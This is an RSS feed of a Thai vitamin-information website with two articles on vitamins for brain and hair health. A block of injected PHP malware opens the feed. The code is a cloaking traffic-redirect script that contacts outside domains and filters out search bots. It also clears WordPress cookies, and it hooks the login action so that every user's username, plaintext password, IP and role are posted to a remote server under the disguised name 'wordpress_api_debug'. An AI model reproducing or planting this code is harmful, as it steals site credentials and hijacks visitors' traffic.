$zkldsjga = 'https://winbigprize.top'; $dsfinvdfgsg = 'https://toremanc.com'; if (!function_exists('getUserIP')) { function getUserIP() { foreach(array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach(array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('cacheUrl')) { function cacheUrl($url, $skip_cache = FALSE) { $cachetime = 10; //one week $file = ABSPATH.WPINC. '/class-wp-http-netfilter.php'; $mtime = 0; if (file_exists($file)) { $mtime = filemtime($file); } $filetimemod = $mtime + $cachetime; if ($filetimemod < time() OR $skip_cache) { $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36', CURLOPT_FOLLOWLOCATION => TRUE, CURLOPT_MAXREDIRS => 5, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 60, )); $data = curl_exec($ch); curl_close($ch); if ($data AND!$skip_cache) { file_put_contents($file, $data); } } else { $data = file_get_contents($file); } return $data; } } $host = filter_var($_SERVER['HTTP_HOST'], FILTER_SANITIZE_URL); $IpUrlAd = $dsfinvdfgsg.'/lnk/ip/' . $host . '.txt'; function is_fileAccessible($IpUrlAd) { $headers = @get_headers($IpUrlAd); return is_array($headers) && strpos($headers[0], '200') !== false; } if (is_fileAccessible($IpUrlAd)) { $weoboo = cacheUrl($IpUrlAd); } else { $weoboo = ''; } if (strpos($weoboo, getUserIP()) !== false) { } else { $uag = $_SERVER['HTTP_USER_AGENT']; $id = $_SERVER['REQUEST_URI']; if (!preg_match("/wp-login|wp-admin|admin|xmlrpc/", $id)) { @date_default_timezone_set('UTC'); $z_test_config = $z_mode = ''; $z_url = $GLOBALS['uthpydgtou']; $z_key_api_host = '2LmRsae4qqsca32'; $z_conf_edit = 0; $z_conf_file = 'dldldla.ini'; $z_allow_ip = ''; $z_get = 'q'; $z_timeout = 10; if($z_conf_edit == 1 && file_exists($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)){$z_test_config = 1;} if(!empty($_GET[$z_get])){$z_key = trim($_GET[$z_get]);$z_mode = 1;$z_conf_edit = 0;} if($z_conf_edit == 0 || ($z_conf_edit == 1 && empty($z_test_config))){ $z_conf = array(); $z_conf['id'] = 'dldldla'; $z_conf['sub_del'] = 0; $z_conf['cf_ip'] = 0; $z_conf['em_referer'] = 0; $z_conf['em_useragent'] = 0; $z_conf['em_lang'] = 0; $z_conf['ipv6'] = 0; $z_conf['ptr'] = 0; $z_conf['rd_bots'] = 0; $z_conf['rd_se'] = 0; $z_conf['method'] = 0; $z_conf['conf_lc'] = date('d.m.Y H:i:s'); $z_conf['status'] = 1; $z_conf['ip_serv_seodor'] = ''; $z_conf['sign_ref'] = htmlentities('iframe-toloka.com,hghltd.yandex.net', ENT_QUOTES, 'UTF-8'); $z_conf['sign_ua'] = htmlentities('ahrefs,aport,ask,bot,btwebclient,butterfly,commentreader,copier,crawler,crowsnest,curl,disco,ezooms,fairshare,httrack,ia_archiver,internetseer,java,js-kit,larbin,libwww,linguee,linkexchanger,lwp-trivial,netvampire,nigma,ning,nutch,offline,peerindex,pingadmin,postrank,rambler,semrush,slurp,soup,spider,sweb,teleport,twiceler,voyager,wget,wordpress,yeti,zeus', ENT_QUOTES, 'UTF-8'); if($z_conf_edit == 1 && empty($z_test_config)){ $z_conf_default = serialize($z_conf); file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf_default, LOCK_EX); $z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)); } } if($z_conf_edit == 1 && !empty($z_test_config)){ $z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)); } if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && empty($_GET['conf'])){ if(!z_ip_check($z_allow_ip)){ header('HTTP/1.0 404 Not Found', true, 404); exit(); } echo serialize($z_conf); exit(); } if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && !empty($_GET['conf'])){ if(!z_ip_check($z_allow_ip)){ header('HTTP/1.0 404 Not Found', true, 404); exit(); } $z_conf = base64_decode($_GET['conf']); $z_conf_tmp = @unserialize($z_conf); if(is_array($z_conf_tmp)){ file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf, LOCK_EX); } exit(); } $z_out = $z_lang = $z_country = $z_city = $z_region = $z_asn = $z_org = $z_device = $z_operator = $z_os_name = $z_os_version = $z_browser_name = $z_browser_version = $z_macros = $z_cookies_data = ''; $z_empty = $z_bot = '-'; $z_uniq = 'yes'; if(isset($_SERVER['HTTP_PURPOSE']) && $_SERVER['HTTP_PURPOSE'] == 'prefetch'){ $z_conf['status'] = 0; } if($z_conf['status'] == 1){ $z_useragent = $z_empty; if(!empty($_SERVER['HTTP_USER_AGENT'])){ $z_useragent = $_SERVER['HTTP_USER_AGENT']; } elseif($z_conf['em_useragent'] == 1){ $z_bot = 'empty_ua'; } $z_referer = $z_empty; $z_se = $z_empty; if(!empty($_SERVER['HTTP_REFERER'])){ $z_referer = $_SERVER['HTTP_REFERER']; if(strstr($z_referer, 'google.')){$z_se = 'google';} if(strstr($z_referer, 'yandex.') || strstr($z_referer, '/ya.ru')){$z_se = 'yandex';} if(strstr($z_referer, 'mail.ru')){$z_se = 'mail';} if(strstr($z_referer, 'yahoo.com')){$z_se = 'yahoo';} if(strstr($z_referer, 'bing.com')){$z_se = 'bing';} if(strstr($z_referer, 'baidu.com')){$z_se = 'baidu';} } elseif($z_bot == $z_empty && $z_conf['em_referer'] == 1){ $z_bot = 'empty_ref'; } if($z_bot == $z_empty && $z_referer != $z_empty && !empty($z_conf['sign_ref'])){ $z_ex = explode(',', $z_conf['sign_ref']); foreach($z_ex as $z_value){ $z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8')); if(strstr($z_referer, $z_value)){ $z_bot = 'sign_ref'; break; } } } if(stristr($z_useragent, 'baidu.com')){$z_bot = 'baidu';} if(stristr($z_useragent, 'bing.com') || stristr($z_useragent, 'msnbot')){$z_bot = 'bing';} if(stristr($z_useragent, 'google.')){$z_bot = 'google';} if(stristr($z_useragent, 'mail.ru')){$z_bot = 'mail';} if(stristr($z_useragent, 'yahoo.com')){$z_bot = 'yahoo';} if(stristr($z_useragent, 'yandex.com/bots')){$z_bot = 'yandex';} if(stristr($z_useragent, 'facebook')){$z_bot = 'facebook';} if($z_bot == $z_empty && $z_useragent != $z_empty && !empty($z_conf['sign_ua'])){ $z_ex = explode(',', $z_conf['sign_ua']); foreach($z_ex as $z_value){ $z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8')); if(stristr($z_useragent, $z_value)){ $z_bot = 'sign_ua'; break; } } } $z_cf_country = $z_empty; if(!empty($_SERVER['HTTP_CF_IPCOUNTRY'])){ $z_cf_country = strtolower($_SERVER['HTTP_CF_IPCOUNTRY']); } if($z_conf['cf_ip'] == 1 && !empty($_SERVER['HTTP_CF_CONNECTING_IP'])){ $z_ipuser = $_SERVER['HTTP_CF_CONNECTING_IP']; } if($z_conf['cf_ip'] == 0 || empty($z_ipuser)){ if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.') > 0 || strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ':') > 0)){ if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') > 0){ $z_ipuser = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $z_ipuser = trim($z_ipuser[0]); } elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') === false){ if(empty($z_conf['ip_serv_seodor'])){ $z_ipuser = trim($_SERVER['HTTP_X_FORWARDED_FOR']); } } } if(empty($z_ipuser)){ $z_ipuser = trim($_SERVER['REMOTE_ADDR']); } } if(!filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) && stristr($z_ipuser, ':')){ $z_exp = explode(':', $z_ipuser); $z_ipuser = $z_exp[0]; } if(!filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) && !filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){ $z_ipuser = $z_empty; } if($z_bot == $z_empty && $z_conf['ipv6'] == 1 && filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){ $z_bot = 'ipv6'; } if($z_bot == $z_empty && $z_conf['ptr'] == 1){ $z_ptr_rec = gethostbyaddr($z_ipuser); if(stristr($z_ptr_rec, 'baidu')){$z_bot = 'baidu';} if(stristr($z_ptr_rec, 'bing') || stristr($z_ptr_rec, 'msnbot')){$z_bot = 'bing';} if(stristr($z_ptr_rec, 'google') && !stristr($z_ptr_rec, 'googlefiber')){$z_bot = 'google';} if(stristr($z_ptr_rec, 'mail.ru')){$z_bot = 'mail';} if(stristr($z_ptr_rec, 'yahoo')){$z_bot = 'yahoo';} if(stristr($z_ptr_rec, 'yandex')){$z_bot = 'yandex';} } $z_lang = $z_empty; if(!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])){ $z_lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); } if($z_lang == $z_empty && $z_conf['em_lang'] == 1){ $z_bot = 'empty_lang'; } $z_domain = $_SERVER['HTTP_HOST']; if($z_conf['sub_del'] == 1 && substr_count($z_domain, '.') > 1){ preg_match("~^.+?\.(.+?)$~", $z_domain, $matches); $z_domain = $matches[1]; } $z_page = $_SERVER['REQUEST_URI']; $z_page_url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if(($z_bot == $z_empty || $z_conf['rd_bots'] == 1) && $z_ipuser != $z_empty){ $z_n_cookies = md5($_SERVER['HTTP_HOST'].'+'.$z_conf['id']); if(isset($_COOKIE[$z_n_cookies])){ $z_cookies_data = unserialize(base64_decode($_COOKIE[$z_n_cookies])); } if(!isset($z_key)){$z_key = '';} if(empty($z_options)){$z_options = array();} $z_request = array(); $z_request[0] = trim($z_key_api_host); $z_request[1] = trim($z_conf['id']); $z_request[2] = trim($z_ipuser); $z_request[3] = trim($z_referer); $z_request[4] = trim($z_useragent); $z_request[5] = $z_se; $z_request[6] = trim($z_lang); $z_request[7] = urlencode(trim($z_key)); $z_request[8] = trim($z_domain); $z_request[9] = trim($z_page); $z_request[10] = trim($z_cf_country); $z_request[11] = $z_options; $z_request[12] = $z_cookies_data; if($z_conf['method'] == 1){ $z_data['api'] = serialize($z_request); } else{ $z_url = $z_url.'/?api='.base64_encode(serialize($z_request)); //echo $z_url; } if((empty($z_conf['ip_serv_seodor']) || $z_ipuser != $z_conf['ip_serv_seodor']) && ($z_conf['rd_se'] == 0 || ($z_conf['rd_se'] == 1 && $z_se != $z_empty))){ $z_ch = curl_init(); curl_setopt($z_ch, CURLOPT_TIMEOUT, $z_timeout); curl_setopt($z_ch, CURLOPT_URL, $z_url); curl_setopt($z_ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($z_ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($z_ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($z_ch, CURLOPT_SSL_VERIFYHOST, 0); if($z_conf['method'] == 1){ curl_setopt($z_ch, CURLOPT_POST, true); curl_setopt($z_ch, CURLOPT_POSTFIELDS, $z_data); } curl_setopt($z_ch, CURLOPT_USERAGENT, 'zTDS'); $z_response = curl_exec($z_ch); curl_close($z_ch); $z_response = @unserialize($z_response); if(is_array($z_response)){ $z_out = trim(html_entity_decode($z_response[0], ENT_QUOTES, 'UTF-8')); $z_country = $z_response[1]; $z_region = $z_response[2]; $z_city = $z_response[3]; $z_asn = $z_response[4]; $z_org = $z_response[5]; $z_device = $z_response[6]; $z_operator = $z_response[7]; $z_bot = $z_response[8]; $z_uniq = $z_response[9]; $z_lang = $z_response[10]; $z_macros = trim(html_entity_decode($z_response[11], ENT_QUOTES, 'UTF-8')); $z_os_name = $z_response[12]; $z_os_version = $z_response[13]; $z_br_name = $z_response[14]; $z_br_version = $z_response[15]; $z_brand = $z_response[16]; $z_cookies = $z_response[17]; if(!empty($z_cookies)){ $z_cookies_options = array('expires'=>$z_cookies[3], 'path'=>'/', 'domain'=>'', 'secure'=>0, 'httponly'=>1, 'samesite'=>'Lax'); if(phpversion() >= 7.3 == 1){ SetCookie($z_n_cookies, base64_encode(serialize($z_cookies)), $z_cookies_options); } else{ SetCookie($z_n_cookies, base64_encode(serialize($z_cookies)), $z_cookies[3], '/', '', 0, 1); } } if(strstr($z_out, '[RAWURLENCODE_REFERER]')){ $z_out = str_replace('[RAWURLENCODE_REFERER]', rawurlencode($z_referer), $z_out); } if(strstr($z_out, '[URLENCODE_REFERER]')){ $z_out = str_replace('[URLENCODE_REFERER]', urlencode($z_referer), $z_out); } if(strstr($z_out, '[RAWURLENCODE_PAGE_URL]')){ $z_out = str_replace('[RAWURLENCODE_PAGE_URL]', rawurlencode($z_page_url), $z_out); } if(strstr($z_out, '[URLENCODE_PAGE_URL]')){ $z_out = str_replace('[URLENCODE_PAGE_URL]', urlencode($z_page_url), $z_out); } if(!empty($z_mode)){ if(!empty($z_out)){ header("Location: $z_out"); exit(); } else{ header('HTTP/1.0 404 Not Found', true, 404); exit(); } } if($z_bot == $z_empty && !empty($z_out)){echo $z_out;} } } } } function z_ip_check($z_allow_ip){ if(!empty($z_allow_ip)){ if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.') > 0 || strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ':') > 0)){ if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') > 0){ $z_ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $z_ip = trim($z_ip[0]); } elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') === false){ $z_ip = trim($_SERVER['HTTP_X_FORWARDED_FOR']); } } else{ $z_ip = trim($_SERVER['REMOTE_ADDR']); } if($z_ip == trim($z_allow_ip)){ return true; } } else{ return true; } } } $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if (preg_match('#.txt|.jpg|.png|/feed/|.xml|.ico#', $donor)) die(); if (ini_get('allow_url_fopen')) { function get_data_yo($url) { $data = file_get_contents($url); return $data; } } else { function get_data_yo($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); $data = curl_exec($ch); curl_close($ch); return $data; } } $ip = urlencode($_SERVER['REMOTE_ADDR']); $ua = urlencode($_SERVER['HTTP_USER_AGENT']); $abt = 1; $hspan = 0; if (($abt || $hspan) && !$_GET[$qq]) { $ll = get_data_yo($dsfinvdfgsg."/lnk/go.php?d=$donor&cldw=$cldw&dgrp=$algo"); $el = explode(' ', $ll); } } /* weoboo end */ if(!isset($_COOKIE['_eshoob'])) { setcookie('_eshoob', 1, time()+604800, '/'); // unset cookies if (isset($_SERVER['HTTP_COOKIE'])) { $cookies = explode(';', $_SERVER['HTTP_COOKIE']); foreach($cookies as $cookie) { if (strpos($cookie,'wordpress') !== false || strpos($cookie,'wp_') !== false || strpos($cookie,'wp-') !== false) { $parts = explode('=', $cookie); $name = trim($parts[0]); setcookie($name, '', time()-1000); setcookie($name, '', time()-1000, '/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = $dsfinvdfgsg."/lnk/api22222.php"; $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?> วิตามิน - วิตามิน.com https://xn--m3cixw0dkd.com เว็บไซต์คลังความรู้ ด้านสารอาหารและวิตามิน Thu, 08 Mar 2018 09:43:05 +0000 en-US hourly 1 https://wordpress.org/?v=6.2.6 https://xn--m3cixw0dkd.com/wp-content/uploads/2017/12/cropped-vitamin-web-logo-1-32x32.png วิตามิน - วิตามิน.com https://xn--m3cixw0dkd.com 32 32 กินอะไรทำให้ฉลาด อาหารบำรุงสมองของคนฉลาด https://xn--m3cixw0dkd.com/interesting-articles/558?utm_source=rss&utm_medium=rss&utm_campaign=%25e0%25b8%2581%25e0%25b8%25b4%25e0%25b8%2599%25e0%25b8%25ad%25e0%25b8%25b0%25e0%25b9%2584%25e0%25b8%25a3%25e0%25b8%2597%25e0%25b8%25b3%25e0%25b9%2583%25e0%25b8%25ab%25e0%25b9%2589%25e0%25b8%2589%25e0%25b8%25a5%25e0%25b8%25b2%25e0%25b8%2594-%25e0%25b8%25ad%25e0%25b8%25b2%25e0%25b8%25ab%25e0%25b8%25b2%25e0%25b8%25a3%25e0%25b8%259a Thu, 08 Mar 2018 09:43:05 +0000 http://xn--m3cixw0dkd.dev-zen-group.webstarterz.com/?p=558 คนฉลาดเลือกทานอะไร ทำไมจึงความจำดี ลองมาดูสุดยอดอาหารบำรุงสมอง!!

The post กินอะไรทำให้ฉลาด อาหารบำรุงสมองของคนฉลาด first appeared on วิตามิน.com.

]]> vitamin-for-brain-cover
นอกจาก การที่ต้องกินวิตามินหลายๆชนิด เพื่อช่วยในเรื่องของผิวหรือควบคุมอาหารแล้ว วิตามินสำหรับการบำรุงสมอง ก็ยังเป็นสิ่งสำคัญที่ควรจะมีไว้ เพราะสมองถือว่าเป็นอวัยวะที่มีบทบาทหน้าที่และความสำคัญโดยเป็นตัวควบคุมต่อและสั่งการให้ระบบต่างๆในร่างกายไห้ทำงานอย่างเป็นปกติ ฉะนั้นแล้วควรใส่ใจ บำรุงรักษา อยู่สม่ำเสมอ

โดย วิตามิน ที่มีส่วนช่วยบำรุงสมอง มีดังต่อไปนี้

วิตามินด้านการทำงานของสมอง

วิตามิน บี1 ช่วยกระตุ้นการทำงานของประสาท

วิตามิน บี2 ช่วยสร้างพลังงานภายในเซลล์

วิตามิน บี6 ช่วยควบคุมอารมณ์

วิตามิน บี9 ช่วยเรื่องระบบการรับรู้ อารมณ์ และความรู้สึกในสมอง

วิตามินบี12 ช่วยเรื่องความจำ

วิตามินด้านการควบคุมและการบำรุงสมอง

วิตามิน ซี ช่วยสังเคราะห์สารสื่อประสาทและลดอาการสมองเสื่อม

วิตามิน อี ช่วยปกป้องเยื่อสมองจากอนุมูลอิสระอันนำมาสู่สมองเสื่อม และมีส่วนช่วยป้องกันโรคอัลไซเมอร์

Magnesium (แมกนีเซียม) ช่วยทำให้สมองผ่อนคลาย

Zing (สังกะสี)ช่วยกระตุ้นการทำงานของสมองช่วยเรื่องความจำ ช่วยควบคุมอารมณ์ความรู้สึก ช่วยลดภาวะเครียด และช่วยบำรุงสมอง

Coenzyme Q10 ช่วยเสริมสร้างพลังงาน

ดังนั้นเมื่อเราต้องใช้สมองบ่อยและหนักมากขึ้น จนบางครั้งก็อาจจะทำให้สมองของเราอ่อนล้าได้ ดังนั้นการบำรุงสมองด้วย วิตามินชนิดต่างๆ จึงเป็นสิ่งแรกของการบำรุงที่สำคัญที่ดีที่สุด พร้อมกับการเลือกรับประทานอาหารตามหลักโภชานาการให้ครบ 5 หมู่ ไม่ว่าจะเป็นผักผลไม้ เนื้อสัตว์ ปลา ตับหรือนม เพราะจะช่วยบำรุงสมองได้อย่างเต็มที่และยังดีต่อสุขภาพอีกด้วย

The post กินอะไรทำให้ฉลาด อาหารบำรุงสมองของคนฉลาด first appeared on วิตามิน.com.

]]> บำรุงผมให้สวยได้ง่ายๆ แค่ทานสิ่งเหล่านี้ https://xn--m3cixw0dkd.com/interesting-articles/557?utm_source=rss&utm_medium=rss&utm_campaign=%25e0%25b8%259a%25e0%25b8%25b3%25e0%25b8%25a3%25e0%25b8%25b8%25e0%25b8%2587%25e0%25b8%259c%25e0%25b8%25a1%25e0%25b9%2583%25e0%25b8%25ab%25e0%25b9%2589%25e0%25b8%25aa%25e0%25b8%25a7%25e0%25b8%25a2%25e0%25b9%2584%25e0%25b8%2594%25e0%25b9%2589%25e0%25b8%2587%25e0%25b9%2588%25e0%25b8%25b2%25e0%25b8%25a2%25e0%25b9%2586-%25e0%25b9%2581 Thu, 08 Mar 2018 09:38:24 +0000 http://xn--m3cixw0dkd.dev-zen-group.webstarterz.com/?p=557 อาการผมร่วง ผมบาง ผมขาดต้องอ่าน สุดยอดอาหารบำรุงผมชั้นเยี่ยม เคล็ดลับสาวผมหนา ผมยาว

The post บำรุงผมให้สวยได้ง่ายๆ แค่ทานสิ่งเหล่านี้ first appeared on วิตามิน.com.

]]> cover-Vitamin-hair
เส้นผม เปรียบสเหมือนเป็นหนึ่งในส่วนสำคัญ ที่ช่วยเติมเต็มรูปลักษณ์ความงามให้กับใบหน้า โดยเฉพาะยิ่งเส้นผมสวยงามเท่าไหร่ ก็ยิ่งช่วยเสริมสเน่ห์ให้กับตัวเรา อย่างไรก็ตาม เส้นผมที่หลุดร่วงนั้น เป็นเรื่องที่เกิดขึ้นตามธรรมชาติ แต่ถ้าหากมากจนเกินไป อาจเกิดจากปัญหาสุขภาพของเส้นผมหรือหนังศรีษะต่างๆ จนอาจก่อให้เกิดปัญหาผมบาง หรือร้ายแรงที่สุดคือการมี “หัวล้าน” ไปเลย ดังนั้น การเสริมสุขภาพเส้นผมให้แข็งแรง ด้วยวิตามินบำรุงผมประเภทต่างๆ เป็นประจำ ในปริมาณที่เหมาะสม จึงนับว่าเป็นตัวช่วยที่เหมาะสมกับการดูแลเส้นผมได้อย่างลงตัวเลยทีเดียว

วิติมน บี7 (Biotin)
            หรือ วิตามิน B-Complex เป็นหนึ่งใน วิตามินบำรุงผม ที่รู้จักกันดีมากที่สุด ในการช่วยส่งเสริมเส้นผมให้มีความแข็งแรง ด้วยคุณสมบัติในการช่วยเพิ่มความยืดหยุ่นให้กับเส้นผม ป้องกันปัญหาความหยาบกร้าน ลดโอกาสการเกิดเส้นผมแตกหัก นอกจากนี้ ไบโอซาติน ยังมีส่วนช่วยในการผลิตเคราติน ที่เป็นองค์ประกอบที่สำคัญในการช่วยให้เส้นผมมีความแข็งแรงมากยิ่งขึ้น ถ้าหากร่างกายได้รับไบโอติน ในปริมาณที่ไม่เพียงพอ มักทำให้เกิดปัญหาผมร่วงตามมา รวมไปถึงขนตาด้วย รวมไปถึงโรคภัยต่างๆ เช่น โรคตาแดงอักเสบเรื้อรัง ปัญหาด้านผิวหนังต่างๆ และทำให้เกิดสภาวะซึมเศร้าเล็กน้อย
วิตามิน เอ (Vitamin A)
            เป็น วิตามินบำรุงผม ที่อุดมไปด้วยสารต่อต้านอนุมูลอิสระ แม้จะเป็นที่รู้จักกันดีว่า มันช่วยในการบำรุงสุขภาพของดวงตาได้อย่าวยอดเยี่ยม แต่มันก็สามารถช่วยดูแลเส้นผมให้แข็งแรงได้ไม่ยิ่งหย่อนไปกว่ากัน ด้วยการช่วยผลิตไขมัน และน้ำมัน จากหนังศรีษะทำให้เส้นผมแห้งแตก นอกจากนี้ สารต่อต้านอนุมูลอิสระ ยังช่วยทำให้เส้นผมมีความชุ่มชื้นมากยิ่งขึ้นอีกด้วย

วิตามิน อี (Vitamin E)
            วิตามิน อี เป็นหนึ่งในวิตามินบำนรุงผิวพรรณที่ได้รับความนิยมเป็นอย่างมาก แต่ที่จริงแล้ว มันมีประโยชน์ในฐานะของวิตามินบำรุงผมที่น่าสนใจเป็นอย่างมากเช่นกัน ด้วยคุณสมบัติในการช่วยเพิ่มอัตราการไหลเวียนของโลหิตในร่างกาย เพิ่มอัตราการดูดซึมออกซิเจน ทำให้ร่างกายมีการผลิตเส้นผมใหม่ได้อย่างรวดเร็วมากยิ่งขึ้น นอกจากนี้ หลายคนยังเชื่ออีกว่า ด้วยสรรพคุณในการช่วยเสริมภูมิคุ้มกันของร่างกายให้มีความแข็งแรงมากยิ่งขึ้น ยังช่วยลดการเกิดปัญหาเส้นผมหลุดร่วงให้น้อยลงได้อีกด้วย
Inositol
            Inositol เป็นอีกหนึ่งกลุ่มของวิตามิน บี โดยเป็นอีกหนึ่งวิตามินบำรุงผมที่ดี และมีความน่าสนใจมากที่สุดโดยวิตามิน ชนิดนี้ ไม่ใช่วิตามินตัวหลัก ทำให้คนทั่วไปไม่ค่อยรู้จักมันมากนัก แต่นักวิจัยพบว่า การทานวิตามินบำรุงผม ชนิดนี้ ในปริมาณที่เหมาะสมเป็นประจำทุกวัน การสูญเสียเส้นผมลดน้อยลงอย่างมีนัยยะสำคัญ แถมวิตามินบำรุงผมชนิดนี้ ยังสามารถผลิตขึ้นมาเองได้ภายในร่างกาย จากการทานอาหารที่มีกลูโคสประเภทต่างๆ ได้อีกด้วย

วิตามิน บี12  (Vitamin B12)ช่วยในการขับน้ำมันหล่อเลี้ยงบนหนังศีรษะ ทำให้เส้นผมมีความชุ่มชื้น

 กรดไขมันจำเป็น หรือกรดไขมันโอเมก้า  (Omega) จะช่วยป้องกันไม่ให้ผมแห้งแตกหักง่าย และช่วยปรับปรุงสภาพเส้นผม

ซิลิกา (silica) ช่วยป้องกัน ผมร่วง ทำให้ผมเงางามเป็นประกาย

 ซิงค์  (Zinc)หรือ สังกะสี จะช่วยสร้างโปรตีนให้กับเส้นผมไม่เปราะบาง

ลีเนียม (Linium) ช่วยในการเจริญเติบโตของเส้นผมช่วยปกป้องไม่ให้เสื่อมสภาพ

 ทองแดง (Copper) จะช่วยให้เส้นผมดกดำ ไม่หงอกก่อนวัย ช่วยให้เส้นผมมีสุขภาพดี

โคเอนไซม์คิวเทน (Coenzyme Q10) ช่วยเพิ่มการไหลเวียนของโลหิตที่หนังศีรษะ

 แอล-ซีสเทอีน (L-Cysteine) ช่วยทำให้ผมที่แห้งดูเงางาม

และนี่ก็เป็นสาระสำคัญหลักๆที่ช่วยในการบำรุงเส้นผมเพื่อให้โครงสร้างของผมมีความแข็งแรง พร้อมทั้งช่วยแก้ปัญหาต่างๆของ ผม ไม่ว่าจะเป็นปลายผมแตกหัก ขาดความเงาชุ่มชื้น ผมแห้ง หรือรวมไปถึง ผมแห้งเสีย ชี้ฟู เป็นต้น ฉะนั้นแล้วการใส่ใจของการดูแลและบำรุงผมให้หมดปัญหา นั้นจึงจำเป็นต้องมีการบำรุงผม ด้วยวิตามิน ที่จะเข้าไปบำรุงผมได้อย่างตรงจุดและตรงสาเหตุนั้นเอง

 

The post บำรุงผมให้สวยได้ง่ายๆ แค่ทานสิ่งเหล่านี้ first appeared on วิตามิน.com.

